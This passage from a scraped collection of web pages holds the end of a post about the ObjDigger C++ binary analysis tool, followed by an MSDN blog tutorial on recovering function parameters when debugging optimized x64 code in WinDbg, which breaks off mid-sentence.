class structure. The target of the call is determined by examining the virtual
function table for the known class structure.

ObjDigger uses similar data flow analysis to identify class members and
methods and class relationships. A more thorough, if slightly dated,
discussion of the ObjDigger's data structure recovery algorithms is available
in our paper titled Recovering C++ Objects From Binaries Using Inter-
Procedural Data-Flow Analysis that was published at the ACM SIGPLAN on Program
Protection and Reverse Engineering Workshop in 2014.

This post shows how binary static analysis tools, such as ObjDigger can help
reverse engineers and malware analysts by automatically reasoning about C++
data structures at the binary level. Processing an object-oriented executable
file with ObjDigger helps the analyst to quickly identify and understand the
data structures in an executable file. Automatically recovering information
about C++ data structures enables analysts to focus on reasoning about program
functionality and spend less time analyzing low-level constructs that are
inserted during compilation and have little bearing on program behavior.
Automatic analysis of executables has more applications than dealing with
object oriented code. In subsequent posts in this series we will discuss some
of the other tools in the Pharos suite that automatically identify and reason
about program behaviors.

We welcome your feedback on our work in the comments section below.

**Additional Resources**

We recently released ObjDigger publicly, and those who are interested in
evaluating ObjDigger can download it from the Pharos Static Analysis Tools
site.

We have also created a GitHub repository for Pharos, and plan to release
selected components of our framework for inclusion back into the ROSE
infrastructure.

  * < Previous Article

# Challenges of Debugging Optimized x64 Code - Ntdebugging Blog - Site Home -
MSDN Blogs

**Created:**| _3/9/2011 11:32:52 AM_  
---|---  
**Updated:**| _3/9/2011 11:33:07 AM_  
**Author:**| __  
**Tags:**| _reversing Tutorials x64_  
  

### Challenges of Debugging Optimized x64 Code

RATE THIS  
<img src='img/Temp2_1403.png' /><img src='img/Temp2_1404.png' /><img
src='img/Temp2_1403.png' /><img src='img/Temp2_1404.png' /><img
src='img/Temp2_1403.png' /><img src='img/Temp2_1404.png' /><img
src='img/Temp2_1403.png' /><img src='img/Temp2_1404.png' /><img
src='img/Temp2_1403.png' /><img src='img/Temp2_1404.png' />

ntdebug

9 Jan 2009 3:50 PM

  * 4

If you have not had the luxury of debugging optimized x64 code as of yet,
don’t wait much longer and fall behind the times\! Due to the x64 fastcall-
like calling convention coupled with the abundance of general purpose
registers, finding variable values at arbitrary points in a call stack can be
very tricky indeed.

In this article, I’d like to detail some of my favorite techniques for
debugging optimized x64 code. But before digging into these techniques, let’s
first have a quick overview of the x64 calling convention.

## The x64 Calling Convention

Those of you familiar with the fastcall calling convention on x86 platforms
will recognize the similarities to the x64 calling convention. Whereas you
typically have to maintain knowledge of multiple calling conventions on x86
platforms, on x64 platforms there is currently just one. \(Of course, I’m
excluding the case of no calling convention which one can achieve with
\_\_declspec\(naked\) or by coding in straight assembly.\)

I won’t go into all of the various nuances of the x64 calling convention,
therefore I recommend you check out the following link
\(http://msdn.microsoft.com/en-us/library/ms794533.aspx\). But commonly, the
first four parameters into a function are passed via the registers rcx, rdx,
r8, and r9. If the function accepts more than four parameters, those
parameters are passed on the stack. \(Those of you familiar with the x86
fastcall calling convention where the first two parameters are passed in ecx
and edx will recognize the similarities\).

To help illustrate how the x64 calling convention works, I have created some
simple example code. Although the code is contrived and far from real-world
code, it demonstrates some scenarios that are likely to encounter in the real
word. The code is shown below.

\#include <stdlib.h>

\#include <stdio.h>

\#include <windows.h>

\_\_declspec\(noinline\)

void

FunctionWith4Params\( int param1, int param2, int param3,

int param4 \)

\{

size\_t lotsOfLocalVariables1 = rand\(\);

size\_t lotsOfLocalVariables2 = rand\(\);

size\_t lotsOfLocalVariables3 = rand\(\);

size\_t lotsOfLocalVariables4 = rand\(\);

size\_t lotsOfLocalVariables5 = rand\(\);

size\_t lotsOfLocalVariables6 = rand\(\);

DebugBreak\(\);

printf\( "Entering FunctionWith4Params\( %X, %X, %X, %X \)\n",

param1, param2, param3, param4 \);

printf\( "Local variables: %X, %X, %X, %X, %X, %X \n",

lotsOfLocalVariables1, lotsOfLocalVariables2,

lotsOfLocalVariables3, lotsOfLocalVariables4,

lotsOfLocalVariables5, lotsOfLocalVariables6 \);

\}

\_\_declspec\(noinline\)

void

FunctionWith5Params\( int param1, int param2, int param3,

int param4, int param5 \)

\{

FunctionWith4Params\( param5, param4, param3, param2 \);

FunctionWith4Params\( rand\(\), rand\(\), rand\(\), rand\(\) \);

\}

\_\_declspec\(noinline\)

void

FunctionWith6Params\( int param1, int param2, int param3,

int param4, int param5, int param6 \)

\{

size\_t someLocalVariable1 = rand\(\);

size\_t someLocalVariable2 = rand\(\);

printf\( "Entering %s\( %X, %X, %X, %X, %X, %X \)\n",

"FunctionWith6Params",

param1, param2, param3, param4, param5, param6 \);

FunctionWith5Params\( rand\(\), rand\(\), rand\(\),

param1, rand\(\) \);

printf\( "someLocalVariable1 = %X, someLocalVariable2 = %X\n",

someLocalVariable1, someLocalVariable2 \);

\}

int

main\( int /\*argc\*/, TCHAR\*\* /\*argv\*/ \)

\{

// I use the rand\(\) function throughout this code to keep

// the compiler from optimizing too much. If I had used

// constant values, the compiler would have optimized all

// of these away.

int params\[\] = \{ rand\(\), rand\(\), rand\(\),

rand\(\), rand\(\), rand\(\) \};

FunctionWith6Params\( params\[0\], params\[1\], params\[2\],

params\[3\], params\[4\], params\[5\] \);

return 0;

\}

Cut and paste this code into a cpp file \(such as example.cpp\). I used the
Windows SDK \(specifically the Windows SDK CMD Shell\) to compile this code as
C++ code by using the following command line:

cl /EHa /Zi /Od /favor:INTEL64 example.cpp /link /debug

Notice the /Od switch. This disables all optimizations. Later on, I’ll enable
maximum optimization and that’s when the fun begins\!

Once you have the executable module built \(mine is named example.exe\), then
you can fire it up in the debugger as follows:

windbg -Q -c "bu example\!main;g;" example.exe

The command above will launch the application in windbg, set a breakpoint on
the main\(\) routine, and then go to that breakpoint.

Now, let’s have a look at a diagram of what the stack looks like when
FunctionWith6Params\(\) gets called. The diagram shown below illustrates the
stack when the instruction pointer is at the beginning of the code for
FunctionWith6Params\(\) but before the prolog code has executed:

###

<img src='img/Temp2_1402.png' width='603' height='195' alt='clip_image002[7]'
/>

Notice that the caller, in this case main\(\), allocated enough space on the
stack for all six parameters to FunctionWith6Params\(\) even though the first
four parameters are passed in via registers. The extra space on the stack is
commonly referred to as the “home space” for the register parameters. In the
previous diagram, I have shown those slots filled with xxxxxxxx to indicate
that the values within there are virtually random at this point. That’s
because the caller, main\(\), does not initialize these slots. The called
function, at its discretion, may store the first four parameters in this space
for safe keeping. This is exactly what happens in non-optimized builds and is
a huge debugging convenience since you can easily find the contents of the
first four parameters on the stack if you need to. Additionally, windbg stack
commands such as kb and kv which show these first few parameters will report
true results.

With all of that said, here is what the stack looks like after the prolog code
in FunctionWith6Params\(\) executes:

<img src='img/Temp2_1405.png' width='647' height='508' alt='clip_image004[9]'
/>

The prolog assembly code for FunctionWith6Params\(\) is shown below:

0:000> uf .

example\!FunctionWith6Params \[c:\temp\blog\_entry\sample\_code\example.cpp @
28\]:

41 00000001\`40015900 mov dword ptr \[rsp+20h\],r9d  
41 00000001\`40015905 mov dword ptr \[rsp+18h\],r8d  
41 00000001\`4001590a mov dword ptr \[rsp+10h\],edx  
41 00000001\`4001590e mov dword ptr \[rsp+8\],ecx  
41 00000001\`40015912 push rbx  
41 00000001\`40015913 push rsi  
41 00000001\`40015914 push rdi  
41 00000001\`40015915 sub rsp,50h

You can see that the first four instructions save the first four parameters on
the stack in the home space allocated by main\(\). Then, the prolog code saves
any non-volatile registers that FunctionWith6Params\(\) plans to use during
its execution. The saved registers’ states are restored in the function epilog
code prior to returning to the caller. Finally the prolog code reserves some
space on the stack, in this case, for 0x50 bytes.

What is this space reserved on the top of the stack for? First, space is
created for any local variables. In this case, FunctionWith6Params\(\) has
two. However, those two local variables only account for 0x10 bytes. What’s
the deal with the rest of the space created on the top of the stack?

On the x64 platform, when code prepares the stack for calling another
function, it does not use push instructions to put the parameters on the stack
as is commonly the case in x86 code. Instead, the stack pointer typically
remains fixed for a particular function. The compiler looks at all of the
functions the code in the current function calls, it finds the one with the
maximum number of parameters, and then creates enough space on the stack to
accommodate those parameters. In this example, FunctionWith6Params\(\) calls
printf\(\) passing it 8 parameters. Since that is the called function with the
maximum number of parameters, the compiler creates 8 slots on the stack. The
top four slots on the stack will then be the home space used by any functions
FunctionWith6Params\(\) calls.

A handy side effect of the x64 calling convention is that once you are inside
the bracket of the prolog and epilog of a function, the stack pointer does not
change while the instruction pointer is in that function. This eliminates the
need for a base pointer which is common in x86 calling conventions. When the
code in FunctionWith6Params\(\) prepares to call a child function, it simply
puts the first four parameters into the required registers and, if there are
more than 4 parameters, it uses mov instructions to place the remaining
parameters in the allocated stack space but making sure to skip the first four
parameter slots on the stack.

## Debugging Optimized x64 code \(The Nightmare Begins\)

Why is debugging x64 optimized code so tricky? Well, remember that home space
that the caller creates on the stack for the callee to save the first four
parameters? It turns out that the calling convention **does not require** the
callee to use that space\! And you can certainly bet that optimized x64 code
will not use that space unless it is necessary and convenient for its
optimization purposes. Moreover, when optimized code does use the home space,
it could use it to store non-volatile registers rather than the first four
parameters to the function.

Go ahead and recompile the example code using the following command line:

cl /EHa /Zi /Ox /favor:INTEL64 example.cpp /link /debug

Notice the use of the /Ox switch. This turns on maximum optimization. Debug
symbols are still turned on so we can debug the optimized code easily.
**Always build your release product with debug information turned on so you
can debug your release builds\!**

Let’s look at how the prolog assembly code for FunctionWith6Params\(\) has
changed:

41 00000001\`400158e0 mov qword ptr \[rsp+8\],rbx  
41 00000001\`400158e5 mov qword ptr \[rsp+10h\],rbp  
41 00000001\`400158ea mov qword ptr \[rsp+18h\],rsi  
41 00000001\`400158ef push rdi  
41 00000001\`400158f0 push r12  
41 00000001\`400158f2 push r13  
41 00000001\`400158f4 sub rsp,40h  
41 00000001\`400158f8 mov ebx,r9d  
41 00000001\`400158fb mov edi,r8d  
41 00000001\`400158fe mov esi,edx  
41 00000001\`40015900 mov r12d,ecx

The optimized code is significantly different\! Let’s itemize the changes
below:

· The function uses the home space on the stack, however, it does not store
the first four parameters there. Instead it uses the space to store some non-
volatile registers it must restore later in the epilog code. This optimized
code is going to make use of more processor registers, therefore it must save
more of the non-volatile registers.

· It still pushes three non-volatile registers onto the stack for safe keeping
along with the other three it stored in the home space.

· It then creates space on the stack. However, it’s less space than in the
non-optimized code, and is only 0x40 bytes. That’s because the optimized code
uses registers to represent the local variables someLocalVariable1 and
someLocalVariable2. Therefore, it only has to create space for the 8 slots
needed to call the function with the maximum number of parameters, printf\(\).

· It then stores the first four parameters into non-volatile registers rather
than in the home space. \(Don’t count on this behavior. An optimized function
may make no copies of the contents of rcx, rdx, r8, and r9. It all depends on
the structure of the code\)

Now step through FunctionWith6Params\(\) to the source line just after the
first printf\(\) call. The output generated from the printf\(\) call on my
machine is as follows:

Entering FunctionWith6Params\( 29, 4823, 18BE, 6784, 4AE1, 3D6C \)

A common version of the stack command in windbg is kb, which also displays the
first few parameters to each function in the frame. In reality, it is
displaying the first few positions of the stack. The output for the kb command
is as follows:

0:000> kb  
RetAddr : Args to Child : Call Site  
00000001\`4001593b : **00000000\`00004ae1 00000000\`00004823
00000000\`000018be 00000000\`007e3570** : example\!FunctionWith6Params+0x6a
\[c:\temp\blog\_entry\sample\_code\example.cpp @ 37\]  
00000001\`40001667 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000001 : example\!main+0x5b
\[c:\temp\blog\_entry\sample\_code\example.cpp @ 57\]  
00000000\`76d7495d : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : example\!\_\_tmainCRTStartup+0x15b  
00000000\`76f78791 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : kernel32\!BaseThreadInitThunk+0xd  
00000000\`00000000 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : ntdll\!RtlUserThreadStart+0x1d

Notice that not all of the first four parameters of FunctionWith6Params\(\)
match what is shown by the kb command\! Of course, this is a side effect of
the optimization. **You simply cannot trust the output displayed by kb and kv
in optimized code**. This is the biggest reason why optimized x64 code is so
difficult to debug. Trust me when I say that it’s just pure luck that the
second and third slots in the kb output above match the actual parameter
values to FunctionWith6Params\(\). It’s because FunctionWith6Params\(\) stores
non-volatile registers in those slots and it just so happens that main\(\) put
those values in those non-volatile registers prior to calling
FunctionWith6Params\(\).

### Parameter Sleuthing -- Technique 1 \(Down the Call Graph\)

Now, let’s look at some techniques for finding elusive function parameters to
functions in the call stack while running x64 code. I have placed a
DebugBreak\(\) call in FunctionWith4Params\(\) to illustrate. Go ahead and let
the code run in windbg until it hits this breakpoint. Now, imagine what you
are looking at is actually not a live debugging scenario but rather a dump
file from a customer of yours and this is the point where your application has
crashed. So, you take a look at the stack and it looks like the following:

0:000> kL  
Child-SP RetAddr Call Site  
00000000\`0012fdc8 00000001\`40015816 ntdll\!DbgBreakPoint  
00000000\`0012fdd0 00000001\`400158a0 example\!FunctionWith4Params+0x66  
00000000\`0012fe50 00000001\`40015977 example\!FunctionWith5Params+0x20  
00000000\`0012fe80 00000001\`40015a0b example\!FunctionWith6Params+0x97  
00000000\`0012fee0 00000001\`4000168b example\!main+0x5b  
00000000\`0012ff20 00000000\`7733495d example\!\_\_tmainCRTStartup+0x15b  
00000000\`0012ff60 00000000\`77538791 kernel32\!BaseThreadInitThunk+0xd  
00000000\`0012ff90 00000000\`00000000 ntdll\!RtlUserThreadStart+0x1d

Now, let’s say that in order for you to figure out what went wrong, you need
to know the first parameter to FunctionWith6Params\(\). **Assume you have not
seen the first parameter in the console output. No fair cheating\!**

The first technique I would like to illustrate involves digging downward into
the call graph to find out what has happened to the contents of rcx \(the
first parameter\) after entering FunctionWith6Params\(\). In this case, since
the parameters are 32bit integers, we’ll be attempting to follow the contents
of ecx, which is the lower half of rcx.

Let’s start by looking at the assembly code within FunctionWith6Params\(\)
starting from the beginning up to the call into FunctionWith5Params\(\)::

0:000> u example\!FunctionWith6Params example\!FunctionWith6Params+0x97  
example\!FunctionWith6Params \[c:\temp\blog\_entry\sample\_code\example.cpp @
41\]:  
00000001\`400158e0 mov qword ptr \[rsp+8\],rbx  
00000001\`400158e5 mov qword ptr \[rsp+10h\],rbp  
00000001\`400158ea mov qword ptr \[rsp+18h\],rsi  
00000001\`400158ef push rdi  
00000001\`400158f0 push r12  
00000001\`400158f2 push r13  
00000001\`400158f4 sub rsp,40h  
00000001\`400158f8 mov ebx,r9d  
00000001\`400158fb mov edi,r8d  
00000001\`400158fe mov esi,edx  
00000001\`40015900 mov **r12d** ,**ecx**  
00000001\`40015903 call example\!rand \(00000001\`4000148c\)  
00000001\`40015908 movsxd r13,eax  
00000001\`4001590b call example\!rand \(00000001\`4000148c\)  
00000001\`40015910 lea rdx,\[example\!\`string'+0x68 \(00000001\`40020d40\)\]  
00000001\`40015917 movsxd rbp,eax  
00000001\`4001591a mov eax,dword ptr \[rsp+88h\]  
00000001\`40015921 lea rcx,\[example\!\`string'+0x80 \(00000001\`40020d58\)\]  
00000001\`40015928 mov dword ptr \[rsp+38h\],eax  
00000001\`4001592c mov eax,dword ptr \[rsp+80h\]  
00000001\`40015933 mov r9d,esi  
00000001\`40015936 mov dword ptr \[rsp+30h\],eax  
00000001\`4001593a mov r8d,**r12d**  
00000001\`4001593d mov dword ptr \[rsp+28h\],ebx  
00000001\`40015941 mov dword ptr \[rsp+20h\],edi  
00000001\`40015945 call example\!printf \(00000001\`400012bc\)  
00000001\`4001594a call example\!rand \(00000001\`4000148c\)  
00000001\`4001594f mov edi,eax  
00000001\`40015951 call example\!rand \(00000001\`4000148c\)  
00000001\`40015956 mov esi,eax  
00000001\`40015958 call example\!rand \(00000001\`4000148c\)  
00000001\`4001595d mov ebx,eax  
00000001\`4001595f call example\!rand \(00000001\`4000148c\)  
00000001\`40015964 mov **r9d** ,**r12d**  
00000001\`40015967 mov r8d,esi  
00000001\`4001596a mov edx,ebx  
00000001\`4001596c mov ecx,eax  
00000001\`4001596e mov dword ptr \[rsp+20h\],edi  
00000001\`40015972 call example\!ILT+5\(?FunctionWith5ParamsYAXHHHHHZ\)
\(00000001\`4000100a\)

FunctionWith6Params\(\) copies ecx into r12d to preserve it for later use
since the contents must be passed to multiple functions within the body of
FunctionWith6Params\(\). Notice at the point where FunctionWith5Params\(\) is
called, the contents of ecx have been copied into both r12d and r9d, however,
r9d is volatile so we must be careful with it since it could get overwritten
prior to the next function call when FunctionWith5Params\(\) calls
FunctionWith4Params\(\). Armed with this information, let’s dig into the
assembly code for FunctionWith5Params\(\) that has executed up to this point:

0:000> u example\!FunctionWith5Params example\!FunctionWith5Params+0x20  
example\!FunctionWith5Params \[c:\temp\blog\_entry\sample\_code\example.cpp @
32\]:  
00000001\`40015880 mov qword ptr \[rsp+8\],rbx  
00000001\`40015885 mov qword ptr \[rsp+10h\],rsi  
00000001\`4001588a push rdi  
00000001\`4001588b sub rsp,20h  
00000001\`4001588f mov ecx,dword ptr \[rsp+50h\]  
00000001\`40015893 mov **eax** ,**r9d**  
00000001\`40015896 mov **r9d** ,edx  
00000001\`40015899 mov **edx** ,**eax**  
00000001\`4001589b call example\!ILT+10\(?FunctionWith4ParamsYAXHHHHZ\)
\(00000001\`4000100f\)

At the point where FunctionWith4Params\(\) is called, the value we are after
is now in eax, edx, and r12d. Again, be careful with eax and edx as they are
volatile. However, since FunctionWith5Params\(\) did not touch r12d, the
contents of the parameter we are still after are still in r12d

Now, let’s look at the code in FunctionWith4Params\(\) that has executed so
far:

0:000> u example\!FunctionWith4Params example\!FunctionWith4Params+0x66  
example\!FunctionWith4Params \[c:\temp\blog\_entry\sample\_code\example.cpp @
9\]:  
00000001\`400157b0 48895c2408 mov qword ptr \[rsp+8\],rbx  
00000001\`400157b5 48896c2410 mov qword ptr \[rsp+10h\],rbp  
00000001\`400157ba 4889742418 mov qword ptr \[rsp+18h\],rsi  
00000001\`400157bf 57 push rdi  
**00000001\`400157c0 4154 push r12**  
00000001\`400157c2 4155 push r13  
00000001\`400157c4 4156 push r14  
00000001\`400157c6 4157 push r15  
00000001\`400157c8 4883ec50 sub rsp,50h  
00000001\`400157cc 458be1 mov r12d,r9d  
00000001\`400157cf 458be8 mov r13d,r8d  
00000001\`400157d2 448bf2 mov **r14d** ,**edx**  
00000001\`400157d5 448bf9 mov r15d,ecx  
00000001\`400157d8 e8afbcfeff call example\!rand \(00000001\`4000148c\)  
00000001\`400157dd 4898 cdqe  
00000001\`400157df 4889442448 mov qword ptr \[rsp+48h\],rax  
00000001\`400157e4 e8a3bcfeff call example\!rand \(00000001\`4000148c\)  
00000001\`400157e9 4898 cdqe  
00000001\`400157eb 4889442440 mov qword ptr \[rsp+40h\],rax  
00000001\`400157f0 e897bcfeff call example\!rand \(00000001\`4000148c\)  
00000001\`400157f5 4863e8 movsxd rbp,eax  
00000001\`400157f8 e88fbcfeff call example\!rand \(00000001\`4000148c\)  
00000001\`400157fd 4863f0 movsxd rsi,eax  
00000001\`40015800 e887bcfeff call example\!rand \(00000001\`4000148c\)  
00000001\`40015805 4863f8 movsxd rdi,eax  
00000001\`40015808 e87fbcfeff call example\!rand \(00000001\`4000148c\)  
00000001\`4001580d 4863d8 movsxd rbx,eax  
00000001\`40015810 ff15a24b0100 call qword ptr \[example\!\_imp\_DebugBreak
\(00000001\`4002a3b8\)\]

We just found what we are looking for\! The red highlighted line shows r12
being saved on the stack because FunctionWith4Params\(\) wants to reuse r12.
Since r12 is a non-volatile register, it must save the contents somewhere so
it can restore the contents before the function exits. All we have to do is
locate that slot on the stack, and assuming that the stack has not been
corrupted, we’ll have our prize.

One technique for finding the slot is to start with the Child-SP value
associated with the FunctionWith4Params\(\) frame in the stack dump shown
previously, which is 00000000\`0012fdd0 in my build. Using that value, let’s
dump the stack content using the dps command:

0:000> dps 00000000\`0012fdd0 L10  
00000000\`0012fdd0 00000001\`00000001  
00000000\`0012fdd8 00000001\`40024040 example\!\_iob+0x30  
00000000\`0012fde0 00000000\`00000000  
00000000\`0012fde8 00000001\`40002f9e example\!\_getptd\_noexit+0x76  
00000000\`0012fdf0 00000000\`00261310  
00000000\`0012fdf8 00000001\`40001a92 example\!\_unlock\_file2+0x16  
00000000\`0012fe00 00000000\`00000001  
00000000\`0012fe08 00000000\`00004823  
00000000\`0012fe10 00000000\`000041bb  
00000000\`0012fe18 00000000\`00005af1  
00000000\`0012fe20 00000000\`00000000  
00000000\`0012fe28 00000000\`00000000  
00000000\`0012fe30 00000000\`00002cd6  
**00000000\`0012fe38 00000000\`00000029  
**00000000\`0012fe40 00000000\`00006952  
**00000000\`0012fe48** 00000001\`400158a0 example\!FunctionWith5Params+0x20
\[c:\temp\blog\_entry\sample\_code\example.cpp @ 34\]

I have highlighted the position that rsp points to when we enter
FunctionWith4Params\(\) in red. Based on the prolog code shown for
FunctionWith4Params\(\) above, we can find the slot where our prize is stored.
I have highlighted it in green above and you can see the value on my machine
is 0x29, which matches the value printf\(\) sent to the console. Additionally,
I highlighted r14d in green in the assembly code for FunctionWith4Params\(\)
to indicate where the contents of edx \(the second parameter\) were copied to.
Since FunctionWith4Params\(\) is virtually the top function on the stack \(due
to the fact that DebugBreak\(\) takes no parameters\), then r14d should also
contain the value we are after. Dumping the contents of r14 proves this as
shown below:

0:000> r r14  
r14=0000000000000029

To sum up, when you are chasing register-passed parameter values down through
a call graph, look for places where the value is copied into. Specifically, if
the value is copied into a non-volatile register, that can be a good thing. If
a downstream function wants to reuse that non-volatile register, it must first
save the contents \(usually on the stack\) so it can restore it when it is
done. If you’re not that lucky, you may be able to trace a register it was
copied into which has not been changed at the breakpoint. Both conditions were
shown above.

### Parameter Sleuthing -- Technique 2 \(Up the Call Graph\)

The second technique I would like to demonstrate is very similar to the first
technique except that we walk the stack/call-graph in the opposite direction
as before, that is, up the call graph. Unfortunately, none of these techniques
are fool proof and guaranteed to bear fruit. So, it’s nice to have multiple
techniques to employ even though all of them may strike out.

We know that when FunctionWith6Params\(\) gets called, ecx contains the value
we are after. Therefore, if we look at the code for main\(\), maybe we can
find the source from which the ecx register was filled prior to the function
call. Let’s have a look as the assembly code in main\(\):

0:000> u example\!main example\!main+0x5b  
example\!main \[c:\temp\blog\_entry\sample\_code\example.cpp @ 58\]:  
00000001\`400159b0 48895c2408 mov qword ptr \[rsp+8\],rbx  
00000001\`400159b5 48896c2410 mov qword ptr \[rsp+10h\],rbp  
00000001\`400159ba 4889742418 mov qword ptr \[rsp+18h\],rsi  
00000001\`400159bf 48897c2420 mov qword ptr \[rsp+20h\],rdi  
00000001\`400159c4 4154 push r12  
00000001\`400159c6 4883ec30 sub rsp,30h  
00000001\`400159ca e8bdbafeff call example\!rand \(00000001\`4000148c\)  
00000001\`400159cf 448be0 mov r12d,eax  
00000001\`400159d2 e8b5bafeff call example\!rand \(00000001\`4000148c\)  
00000001\`400159d7 8be8 mov ebp,eax  
00000001\`400159d9 e8aebafeff call example\!rand \(00000001\`4000148c\)  
00000001\`400159de 8bf0 mov esi,eax  
00000001\`400159e0 e8a7bafeff call example\!rand \(00000001\`4000148c\)  
00000001\`400159e5 8bf8 mov edi,eax  
00000001\`400159e7 e8a0bafeff call example\!rand \(00000001\`4000148c\)  
00000001\`400159ec 8bd8 mov ebx,eax  
00000001\`400159ee e899bafeff call example\!rand \(00000001\`4000148c\)  
00000001\`400159f3 448bcf mov r9d,edi  
00000001\`400159f6 89442428 mov dword ptr \[rsp+28h\],eax  
00000001\`400159fa 448bc6 mov r8d,esi  
00000001\`400159fd 8bd5 mov edx,ebp  
00000001\`400159ff 418bcc **mov ecx,r12d**  
00000001\`40015a02 895c2420 mov dword ptr \[rsp+20h\],ebx  
00000001\`40015a06 e8fab5feff call
example\!ILT+0\(?FunctionWith6ParamsYAXHHHHHHZ\) \(00000001\`40001005\)

We see that ecx was copied from the contents of r12d. This is helpful since
r12d is a non-volatile register, and if it is reused by a function further
down the call stack, it must be preserved and that preservation usually means
putting a copy on the stack. It would have been nice if ecx were filled with a
value from the stack, at which point we would be virtually done. But in this
case, we just need to start our journey back downwards again.

We don’t have to look very far. Let’s have another look at the prolog code for
FunctionWith6Params\(\):

example\!FunctionWith6Params \[c:\temp\blog\_entry\sample\_code\example.cpp @
41\]:  
41 00000001\`400158e0 mov qword ptr \[rsp+8\],rbx  
41 00000001\`400158e5 mov qword ptr \[rsp+10h\],rbp  
41 00000001\`400158ea mov qword ptr \[rsp+18h\],rsi  
41 00000001\`400158ef push rdi  
41 00000001\`400158f0 **push r12**  
41 00000001\`400158f2 push r13  
41 00000001\`400158f4 sub rsp,40h  
41 00000001\`400158f8 mov ebx,r9d  
41 00000001\`400158fb mov edi,r8d  
41 00000001\`400158fe mov esi,edx  
41 00000001\`40015900 mov r12d,ecx

r12 is reused in FunctionWith6Params\(\), which means that our prize will be
on the stack. Let’s start by looking at the Child-SP for this frame which is
at 00000000\`0012fe80 by using the dps command:

0:000> dps 00000000\`0012fe80 L10  
00000000\`0012fe80 00000000\`00001649  
00000000\`0012fe88 00000000\`00005f90  
00000000\`0012fe90 00000000\`00000029  
00000000\`0012fe98 00000000\`00004823  
00000000\`0012fea0 00000000\`00006952  
00000000\`0012fea8 00000001\`00006784  
00000000\`0012feb0 00000000\`00004ae1  
00000000\`0012feb8 00000001\`00003d6c  
00000000\`0012fec0 00000000\`00000000  
**00000000\`0012fec8 00000000\`00000029**  
00000000\`0012fed0 00000000\`00006784  
**00000000\`0012fed8** 00000001\`4000128b example\!main+0x5b
\[c:\temp\blog\_entry\sample\_code\example.cpp @ 72\]

I have highlighted in red the slot rsp points to when we enter
FunctionWith6Params\(\). At this point, it is a simple matter to walk the
assembly code and find the slot where the value is stored. I have highlighted
it in green above.

### Parameter Sleuthing -- Technique 3 \(Inspecting Dead Space\)

The final technique I would like to demonstrate involves a little more
trickery and involves looking at “dead” or previously used slots on the stack
that are not used by the current function call. To demonstrate, let’s say that
after the DebugBreak\(\) is hit, we need to know what the contents of param4
that were passed to FunctionWith6Params\(\). Let’s have another look at the
assembly that has executed for FunctionWith6Params\(\) and this time, let’s
follow r9d, the fourth parameter:

0:000> u example\!FunctionWith6Params example\!FunctionWith6Params+0x97  
example\!FunctionWith6Params \[c:\temp\blog\_entry\sample\_code\example.cpp @
41\]:  
00000001\`400158e0 mov qword ptr \[rsp+8\],rbx  
00000001\`400158e5 mov qword ptr \[rsp+10h\],rbp  
00000001\`400158ea mov qword ptr \[rsp+18h\],rsi  
00000001\`400158ef push rdi  
00000001\`400158f0 push r12  
00000001\`400158f2 push r13  
00000001\`400158f4 sub rsp,40h  
00000001\`400158f8 mov **ebx** ,**r9d**  
00000001\`400158fb mov edi,r8d  
00000001\`400158fe mov esi,edx  
00000001\`40015900 mov r12d,ecx  
00000001\`40015903 call example\!rand \(00000001\`4000148c\)  
00000001\`40015908 movsxd r13,eax  
00000001\`4001590b call example\!rand \(00000001\`4000148c\)  
00000001\`40015910 lea rdx,\[example\!\`string'+0x68 \(00000001\`40020d40\)\]  
00000001\`40015917 movsxd rbp,eax  
00000001\`4001591a mov eax,dword ptr \[rsp+88h\]  
00000001\`40015921 lea rcx,\[example\!\`string'+0x80 \(00000001\`40020d58\)\]  
00000001\`40015928 mov dword ptr \[rsp+38h\],eax  
00000001\`4001592c mov eax,dword ptr \[rsp+80h\]  
00000001\`40015933 mov r9d,esi  
00000001\`40015936 mov dword ptr \[rsp+30h\],eax  
00000001\`4001593a mov r8d,r12d  
00000001\`4001593d mov **dword ptr \[rsp+28h\]** ,**ebx**  
00000001\`40015941 mov dword ptr \[rsp+20h\],edi  
00000001\`40015945 call example\!printf \(00000001\`400012bc\)  
00000001\`4001594a call example\!rand \(00000001\`4000148c\)  
00000001\`4001594f mov edi,eax  
00000001\`40015951 call example\!rand \(00000001\`4000148c\)  
00000001\`40015956 mov esi,eax  
00000001\`40015958 call example\!rand \(00000001\`4000148c\)  
00000001\`4001595d mov ebx,eax  
00000001\`4001595f call example\!rand \(00000001\`4000148c\)  
00000001\`40015964 mov r9d,r12d  
00000001\`40015967 mov r8d,esi  
00000001\`4001596a mov edx,ebx  
00000001\`4001596c mov ecx,eax  
00000001\`4001596e mov dword ptr \[rsp+20h\],edi  
00000001\`40015972 call example\!ILT+5\(?FunctionWith5ParamsYAXHHHHHZ\)
\(00000001\`4000100a\)

Notice that r9d is first moved into ebx. But also, notice that it copied the
contents into a slot on the stack at rsp+0x28. What is this slot? It’s the
sixth parameter to the following printf\(\) call. Remember that the compiler
looks at all of the functions the code calls and finds the function with the
maximum number of parameters and then allocates enough space for that
function. As the code prepares to call printf\(\), it is moving the value we
are after into the sixth parameter slot in that reserved stack space. But what
use is this information?

If you examine FunctionWith6Params\(\), you see that every function called
after printf\(\) takes less than six parameters. Specifically, the call to
FunctionWith5Params\(\) only uses five of those slots and just leaves the
remaining three with junk in them. This junk is actually our treasure\! From
examining the code, it’s guaranteed that nobody has overwritten the slot
represented by rsp+28.

To find this slot, let’s again start by getting the Child-SP value for the
frame we’re talking about as shown below:

0:000> kL  
Child-SP RetAddr Call Site  
00000000\`0012fdc8 00000001\`40015816 ntdll\!DbgBreakPoint  
00000000\`0012fdd0 00000001\`400158a0 example\!FunctionWith4Params+0x66  
00000000\`0012fe50 00000001\`40015977 example\!FunctionWith5Params+0x20  
**00000000\`0012fe80** 00000001\`40015a0b example\!FunctionWith6Params+0x97  
00000000\`0012fee0 00000001\`4000168b example\!main+0x5b  
00000000\`0012ff20 00000000\`7733495d example\!\_\_tmainCRTStartup+0x15b  
00000000\`0012ff60 00000000\`77538791 kernel32\!BaseThreadInitThunk+0xd  
00000000\`0012ff90 00000000\`00000000 ntdll\!RtlUserThreadStart+0x1d

We can then take the highlighted value above and use the same offset in the
code to find our value:

0:000> dd 000000000012fe80+28 L1  
00000000\`0012fea8 **00006784**

As expected, the “dead” slot on the stack contains the value we are after. You
can compare the value to the output shown on the console to verify.

### A Non-volatile Register Shortcut

Now that I have shown you the theory behind finding these elusive values
